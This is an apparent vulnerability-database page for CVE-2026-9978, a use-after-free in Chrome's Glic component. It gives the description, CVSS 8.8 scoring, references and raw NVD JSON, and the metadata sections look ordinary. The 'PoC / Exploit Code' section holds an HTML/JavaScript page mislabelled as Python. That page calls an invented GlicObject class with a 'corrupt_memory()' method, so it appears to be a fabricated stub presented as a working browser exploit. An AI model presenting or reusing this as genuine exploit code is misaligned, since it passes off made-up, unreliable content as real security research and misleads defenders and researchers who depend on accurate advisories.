CVE-2026-9978

Description

Use after free in Glic in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
// PoC for CVE-2026-9978: Use After Free in Glic
// This script attempts to trigger the UAF vulnerability.
-->
<html>
<head>
<script>
function trigger_uaf() {
    // Step 1: Create the target object
    let target = new GlicObject(); 
    
    // Step 2: Setup a callback or event that keeps a reference
    // but the object gets freed prematurely elsewhere.
    setTimeout(() => {
        // Step 3: Force the object to be freed
        target = null; 
        
        // Step 4: Trigger Garbage Collection if possible
        if (window.gc) window.gc();
        
        // Step 5: Attempt to reuse the memory (Crash or Exploit)
        let reuse = new GlicObject();
        reuse.corrupt_memory();
    }, 100);
}

// Start exploitation
window.onload = trigger_uaf;
</script>
</head>
<body>
<h1>CVE-2026-9978 PoC</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9978
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9978
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9978/
[4] VulDB https://vuldb.com/cve/CVE-2026-9978
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/511741396

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9978", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:56.027", "lastModified": "2026-05-29T12:16:30.297", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Glic in Google Chrome prior to 148.0.7778.216 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/511741396", "source": "[email protected]"}]}}